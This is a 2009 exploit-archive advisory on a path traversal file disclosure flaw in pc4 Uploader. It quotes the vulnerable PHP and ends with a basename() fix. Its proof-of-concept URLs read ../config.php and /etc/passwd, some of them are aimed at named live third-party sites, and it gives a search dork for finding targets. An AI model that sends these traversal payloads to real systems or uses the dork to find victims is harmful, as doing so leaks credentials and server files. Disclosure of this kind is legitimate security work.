144 lines
No EOL
5.4 KiB
Text
144 lines
No EOL
5.4 KiB
Text
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o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_,
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( : / (_) / ( .
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___________________
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_/QQQQQQQQQQQQQQQQQQQ\__
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__/QQQ/````````````````\QQQ\___
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_/QQQQQ/ \QQQQQQ\
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/QQQQ/`` ```QQQQ\
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/QQQQ/ Advisory \QQQQ\
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|QQQQ/ By Qabandi \QQQQ|
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|QQQQ| |QQQQ|
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|QQQQ| From Kuwait, PEACE... |QQQQ|
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|QQQQ| |QQQQ|
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|QQQQ\ iqa[a]hotmail.fr /QQQQ|
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\QQQQ\ __ /QQQQ/
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\QQQQ\ /QQ\_QQQQ/
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\QQQQ\ \QQQQQQQ/
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\QQQQQ\ /QQQQQ/_
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``\QQQQQ\_____________/QQQ/\QQQQ\_
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``\QQQQQQQQQQQQQQQQQQQ/ `\QQQQ\
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``````````````````` `````
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=Vuln: pc4arb - pc4 Uploader <= 10.0 Remote File Disclosure Vulnerability
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=INFO: http://pc4arb.com/article-48.html
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=BUY: ~~~
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=Download: ~~~
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=DORK: intext:"Pictures of Whale Penis"
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____________
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_-=/:Conditions:\=-_
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````````````````````````````````````````````````````````````````````````````````
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none
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---------------------------------------===--------------------------------------
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_________________
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_-=/:Vulnerable_Code:\=-_
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````````````````````````````````````````````````````````````````````````````````
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// in "./pc4uploader/upfiles/index.php"
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function displayimage( $fn, $lastMod, $fs )
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{
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global $out_Types;
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$ext = explode( ".", $fn );
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$ext_i = count( $ext ) - 1;
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$file_ext = $ext[$ext_i];
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header( "Last-Modified: ".$lastMod );
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header( "ETag: ".getetag( $fn ) );
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header( "Accept-Ranges: bytes" );
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header( "Content-Length: ".$fs );
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header( "Content-Type: ".$out_Types[$file_ext] );
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$fp = fopen( $fn, "rb" ); <-----------------------------//opens $fn with no filtering or precautions taken
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if ( function_exists( fpassthru ) )
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{
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fpassthru( $fp );
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}
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else
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{
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$temp = fread( $fp, $fs );
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echo $temp;
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}
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fclose( $fp );
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return;
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}
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// Function displayimage() is later called
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$file = $_GET['file']; <---------------------------------// again, not filtered or anything.
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//..
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//..
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//..
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//..
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displayimage( $file, "Thu, 01 Jan 2006 12:00:00 GMT", $fs );
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---------------------------------------===--------------------------------------
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_______
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_-=/:P.o.C:\=-_
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````````````````````````````````````````````````````````````````````````````````
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http://localhost/pc4uploader/upfiles/index.php?file=../config.php
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http://localhost/pc4uploader/upfiles/index.php?file=/etc/passwd
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demo:
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http://upload.traidnt.net/upfiles/index.php?file=../config.php
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{Save File to view the code if needed}
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http://uploader.pc4arb.com/upfiles/index.php?file=../config.php
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{view source}
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---------------------------------------===--------------------------------------
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__________
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_-=/:SOLUTION:\=-_
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````````````````````````````````````````````````````````````````````````````````
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//Use this displayimage() function instead, notice the changes..
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function displayimage( $fn, $lastMod, $fs )
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{
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global $out_Types;
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$fn = basename($fn);
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$ext = explode( ".", $fn );
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$ext_i = count( $ext ) - 1;
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$file_ext = $ext[$ext_i];
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header( "Last-Modified: ".$lastMod );
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header( "ETag: ".getetag( $fn ) );
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header( "Accept-Ranges: bytes" );
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header( "Content-Length: ".$fs );
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header( "Content-Type: ".$out_Types[$file_ext] );
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$fp = fopen( $fn, "rb" );
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if ( function_exists( fpassthru ) )
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{
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fpassthru( $fp );
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}
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else
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{
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$temp = fread( $fp, $fs );
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echo $temp;
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}
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fclose( $fp );
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return;
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}
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//I added $fn = basename($fn);, it will convert anything like "../../config.php" to "config.php"
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// since config.php doesent exist the script will do the rest by giving a safe error,
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// also move ./include/default.gif to ./upfiles/default.gif
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// everything should be good :)
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---------------------------------------===--------------------------------------
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______________________________________________________________________________
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/ \
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| Tem al-tableegh 3an el-thaghra min sinat yaddi |
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\______________________________________________________________________________/
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\ No More Private /
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`````````````````
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Salamz to All Muslim Hackers.
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# milw0rm.com [2009-06-22] |